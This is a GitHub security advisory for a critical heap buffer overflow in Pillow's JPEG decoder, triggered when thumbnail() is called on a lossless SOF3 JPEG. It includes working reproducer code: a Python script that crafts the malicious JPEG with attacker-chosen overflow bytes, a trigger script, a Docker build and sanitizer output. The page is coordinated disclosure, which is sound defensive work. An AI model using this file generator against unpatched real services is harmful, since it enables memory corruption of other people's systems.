Pillow: Heap buffer overflow in ImagingJpegDecode · CVE-2026-112403 · GitHub Advisory Database · GitHub
Skip to content

Pillow: Heap buffer overflow in ImagingJpegDecode

Critical severity GitHub Reviewed Published Oct 17, 2026 in python-pillow/Pillow • Updated Oct 20, 2026

Package

pip Pillow (pip)

Affected versions

<= 12.3.0

Patched versions

13.0.0

Description

Summary

JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self._size and the tile extents to match, so _setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scale_num/scale_denom, calls jpeg_start_decompress(), and then reads scanlines into that buffer without ever comparing cinfo.output_width, cinfo.output_height or cinfo.out_color_components against state->xsize, state->ysize and state->bits.

libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested scale_denom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpeg_read_scanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.

The input is a standards-compliant JPEG, so Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.

Affected code

At e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):

  • src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpeg_start_decompress() at :240, jpeg_read_scanlines() at :252, with no geometry check between them.
  • src/decode.c:222-231 — _setimage(); state->buffer = calloc(1, state->bytes) with state->bytes = (state->bits * state->xsize + 7) / 8.
  • src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); computes s and shrinks _size, the tile extents and decoderconfig with no notion of lossless coding.
  • src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).
// src/libImaging/JpegDecode.c
            if (context->scale > 1) {
                context->cinfo.scale_num = 1;
                context->cinfo.scale_denom = context->scale;
            }
            ...
        case 2:
            if (!jpeg_start_decompress(&context->cinfo)) {
                break;
            }
            state->state++;
            /* fall through */
        case 3:
            ok = 1;
            while (state->y < state->ysize) {
                ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);

Because state->ysize (ceil(H/s)) can never equal libjpeg's output_height when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.

Primitive

Per scanline: a contiguous write of (W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.

Measured in the reproducer below: 1200x1100 mode L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.

Threshold: draft() must select s >= 2, i.e. W // requested_w >= 2 and H // requested_h >= 2. For thumbnail((256,256)) with the default reducing_gap=2.0 that means W, H >= 1024.

Reproduction

Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with -fsanitize=address; Pillow checked out at ${TARGET_COMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, make_sof3.py and trigger.py in an empty directory, then:

docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob

make_sof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.

Dockerfile

FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
        wget gnupg lsb-release software-properties-common \
        python3 python3-dev python3-pip python3-venv zlib1g-dev \
    && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
    && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
    && rm -rf /var/lib/apt/lists/*

ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"

# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
    && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
        -DCMAKE_C_COMPILER=clang-20 \
        -DCMAKE_C_FLAGS="$CFLAGS" \
        -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
    && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

# --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}

ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
    && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \
    && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
       /venv/bin/pip install --no-build-isolation --no-deps . \
    && ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \
    && LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
       /venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))"

COPY make_sof3.py /tmp/make_sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg

ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD_PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]

make_sof3.py

#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.

Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys

W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD"  # attacker-chosen bytes that land past the buffer


class BitWriter:
    def __init__(self):
        self.out = bytearray()
        self.acc = 0
        self.n = 0

    def put(self, value, nbits):
        for i in range(nbits - 1, -1, -1):
            self.acc = (self.acc << 1) | ((value >> i) & 1)
            self.n += 1
            if self.n == 8:
                self.out.append(self.acc)
                if self.acc == 0xFF:
                    self.out.append(0x00)  # byte stuffing
                self.acc = 0
                self.n = 0

    def flush(self):
        while self.n:
            self.put(1, 1)
        return bytes(self.out)


# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}


def category(d):
    if d == 0:
        return 0
    return abs(d).bit_length()


def build_pixels():
    rows = []
    for y in range(H):
        row = bytearray()
        while len(row) < W:
            row += MARKER
        rows.append(bytes(row[:W]))
    return rows


def main(path):
    rows = build_pixels()
    bw = BitWriter()
    prev = None
    for y in range(H):
        row = rows[y]
        for x in range(W):
            s = row[x]
            if y == 0 and x == 0:
                pred = 1 << 7          # 2^(P-1-Pt)
            elif x == 0:
                pred = prev[0]         # Rb for first sample of a line
            else:
                pred = row[x - 1]      # Ra, predictor 1
            d = (s - pred) & 0xFFFF
            if d >= 0x8000:
                d -= 0x10000
            ssss = category(d)
            code, length = CODES[ssss]
            bw.put(code, length)
            if ssss:
                v = d if d > 0 else d + (1 << ssss) - 1
                bw.put(v & ((1 << ssss) - 1), ssss)
        prev = row
    entropy = bw.flush()

    out = bytearray()
    out += b"\xff\xd8"                                        # SOI
    # DHT: class 0 (DC/lossless), table id 0
    dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
    out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
    # SOF3: lossless, Huffman, sequential
    sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
    out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
    # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
    sos = bytes([1, 1, 0x00, 1, 0, 0])
    out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
    out += entropy
    out += b"\xff\xd9"                                        # EOI
    with open(path, "wb") as f:
        f.write(bytes(out))
    print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")


if __name__ == "__main__":
    main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg")

trigger.py

import sys
from PIL import Image, features
print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
    im.thumbnail((256, 256))
    print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
    print("exception: %r" % (e,), flush=True)

Validated output:

Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
    #0 __asan_memcpy
    #1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
    #2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
    #3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
    #4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
    #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
    #6 _decode /src/repo/src/decode.c:132:14

0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
    #0 calloc
    #1 _setimage /src/repo/src/decode.c:230:34

SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy

Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as draft() computed it.

control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report

Scope and caveats

  • Reproduced on main at e41083f383c9cd3db95de52564cc0b6452313d4a, which is current origin/main as of 2026-08-30. Also reported against 12.3.0.
  • Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.
  • No non-default Pillow configuration is involved: Image.thumbnail() calls draft() by default, and the triggering bytes are entirely file data.
  • Only paths that use draft() before loading are affected. open().load() and resize() decode at scale 1 and are unaffected. Calling img.load() before thumbnail(), or thumbnail(..., reducing_gap=None), avoids the path in an application today.
  • Not affected on the same code path: SOF11 (arithmetic lossless) fails with JERR_ARITH_NOTIMPL before any row; 12- and 16-bit lossless are rejected by Pillow's SOF() because it requires bits == 8; SOF5-7/13-15 fail with JERR_SOF_UNSUPPORTED.

Credit and disclosure

Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.

This report follows Anthropic's coordinated vulnerability disclosure policy
(https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day
disclosure window from the date of this report.

Credit goes to Claude (Anthropic) and Ada Logics.

References

@radarhere radarhere published to python-pillow/Pillow Oct 17, 2026
Published by the National Vulnerability Database Oct 19, 2026
Published to the GitHub Advisory Database Oct 20, 2026
Reviewed Oct 20, 2026
Last updated Oct 20, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(24th percentile)

Weaknesses

Heap-based Buffer Overflow

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Learn more on MITRE.

CVE ID

CVE-2026-112403

GHSA ID

GHSA-8g5g-8vmr-9782

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.